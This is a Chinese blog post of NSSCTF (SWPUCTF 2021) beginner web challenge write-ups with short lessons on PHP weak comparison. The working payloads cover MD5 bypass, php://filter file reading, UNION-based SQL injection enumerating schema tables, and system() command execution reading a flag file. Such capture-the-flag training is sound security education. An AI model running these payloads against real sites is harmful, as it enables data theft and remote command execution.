NSSCTF Web方向的例题和相关知识点(一)

devtools/2024/10/21 9:54:03/

[SWPUCTF 2021 新生赛]jicao

解题:

打开环境,是一段php代码

包含了flag.php文件,设定了一个POST请求的id和GET请求的json

语句会对GET请求的数据进行json解码

如果id和json变量的值都等于设定字符串,则得到 flag

我们可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象

传入

GET json={"x":"wllm"}

POST id= wllmNB

得flag

知识点:

JSON对象是一种存储数据的方式,它使用键值对的形式表示数据

在JSON中,键是一个字符串,值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

JSON对象的语法规则如下:

1.使用花括号 {} 表示一个JSON对象。
2.键和值之间使用冒号 : 分隔。
3.每个键值对之间使用逗号 , 分隔。
4.键必须是一个字符串,需要用双引号或单引号括起来。
5.值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

[SWPUCTF 2021 新生赛]easy_md5

解题:

点击打开环境,是

看代码,这里需要让password != name ,又需要让他们的md5值相等,所以我们需要md5绕过

使用hackbar传入参数

方式一:

传入

GET   ?name=240610708

POST  password=QLTHNDT

然后就能得到flag了

方式二:

我们可以使用[]类型比较的方法,md5数组绕过
由于md5()函数存在缺陷,加密[]的时候返回值是NULL这样子的话就能够成功的绕过

传入

GET  ?name[]=1    

POST   password[]=2 

然后就能得到flag了

知识点:

md5绕过

弱类型比较

由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过
比如:

var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZ0'));//true

只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,再进行比较,而再比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,在进行严格比较(===)时才会先判断字符串类型是否相等,再比较。

特殊的md5值有很多,可参考hashes/md5.md at master · spaze/hashes · GitHub

强类型比较

if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->
   var_dump($flag);
}

此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过

var_dump(md5([1,2,3])==md5([4,5,6]));//true

var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true

可参考CTF中的md5绕过及其他特殊hash值汇总 | 码农家园

[SWPUCTF 2021 新生赛]include

解题:

点击打开环境,是

让传入一个file,如下

看见allow_url_include 状态为on,想到了php伪协议,用filter读取flag.php里面的信息构造

pload: URL?file=php://filter/read=convert.base64-encode/resource=flag.php

发现一串编码, 猜测是base64加密以后的编码,然后进行解码,解码得flag

知识点:

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

常用的协议参数:

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

而使用的convert.base64-encode,就是一种过滤器。

可参考PHP伪协议详解-CSDN博客

[SWPUCTF 2021 新生赛]easy_sql

解题:

点击打开环境,是

查看源码,要求我们输入参数wllm

输入wllm=1,回显正常

输入wllm=1',出现报错,可以判断为字符型漏洞

先查看一下字段列数

先分别输入:

?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

 ?wllm=1' order by 4--+报错,所以为3列

查看回显:

?wllm=-1' union select 1,2,3--+

查数据库名:

?wllm=-1' union select 1,2,database()--+

查看test_db库的表:

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

查字段:

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

出现flag字段,查看flag字段的内容,得到flag

?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+

知识点:

可参考sql注入详解-CSDN博客

sql注入基础原理(超详细)_sql注入原理图解-CSDN博客

[SWPUCTF 2021 新生赛]easyrce

解题:

点击打开环境,是

首先构造payload,并进行url地址重放:

 ?url=system("ls /");
    #?代表拼接
    #ls /代表列出目录文件,学过Linux系统的大部分都有所了解。
    #代码意思是将外部执行命令ls /的结果赋值给url变量,最后在浏览器中显示结果。
    #注意以;英文分号进行闭合。

猜测flllllaaaaaaggggggg文件中可能包含flag信息

使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目录下:

pload:  ?url=system("cat /flllllaaaaaaggggggg");

得flag

知识点:

php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。

可以参考https://www.cnblogs.com/gaohj/p/3267692.html

 


http://www.ppmy.cn/devtools/38665.html

相关文章

MATLAB 代数

MATLAB 代数 到目前为止&#xff0c;我们已经看到所有示例都可以在MATLAB及其GNU&#xff08;也称为Octave&#xff09;中运行。但是&#xff0c;为了求解基本的代数方程&#xff0c;MATLAB和Octave几乎没有什么不同&#xff0c;因此我们将尝试在单独的部分中介绍MATLAB和Octa…

一款开源高性能AI应用框架

前言 LobeChat 是一个基于 Next.js 框架构建的 AI 会话应用&#xff0c;旨在提供一个 AI 生产力平台&#xff0c;使用户能够与 AI 进行自然语言交互。 LobeChat应用架构 LobeChat 的整体架构由前端、EdgeRuntime API、Agents 市场、插件市场和独立插件组成。这些组件相互协作&a…

[1726]java试飞任务规划管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 java试飞任务规划管理系统是一套完善的java web信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为 TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为Mysql…

【工具】如何提取一个mp4文件的关键帧

文章目录 怎么做如何安装ffmepgUbuntu 或 DebianCentOS 或 FedoramacOSWindows其他 Linux 发行版 实践什么是关键帧 怎么做 你可以使用ffmpeg这个强大的多媒体处理工具来提取mp4文件中的关键帧。以下是一个示例命令&#xff0c;可以使用ffmpeg从mp4文件中提取关键帧&#xff1…

CSS3新增特性

新增属性选择器 <style>/* 必须是input但是同时具有value这个属性选择这个元素 [] */input[value] {color: red;}input[typetel] {color: blue;}/* 选择首先是div然后具有cLass属性并且属性值必须是 icon开头的这些元素 ^ */div[class^icon] {color: pink;}section[c…

独孤思维:赚美金,新项目正式发布

独孤四年前开始日更写作以前&#xff0c;还做过海外赚美金项目。 当时图便宜&#xff0c;报名了国外联盟-海外问卷这个赛道。 授课老师&#xff0c;给了我一个信息表&#xff0c;让我搞了100个guge账号。 开始矩阵注册各站点&#xff0c;矩阵生成油管人身份信息。 第一阶…

Python | Leetcode Python题解之第67题二进制求和

题目&#xff1a; 题解&#xff1a; class Solution:def addBinary(self, a, b) -> str:return {0:b}.format(int(a, 2) int(b, 2))

Java | Leetcode Java题解之第70题爬楼梯

题目&#xff1a; 题解&#xff1a; public class Solution {public int climbStairs(int n) {double sqrt5 Math.sqrt(5);double fibn Math.pow((1 sqrt5) / 2, n 1) - Math.pow((1 - sqrt5) / 2, n 1);return (int) Math.round(fibn / sqrt5);} }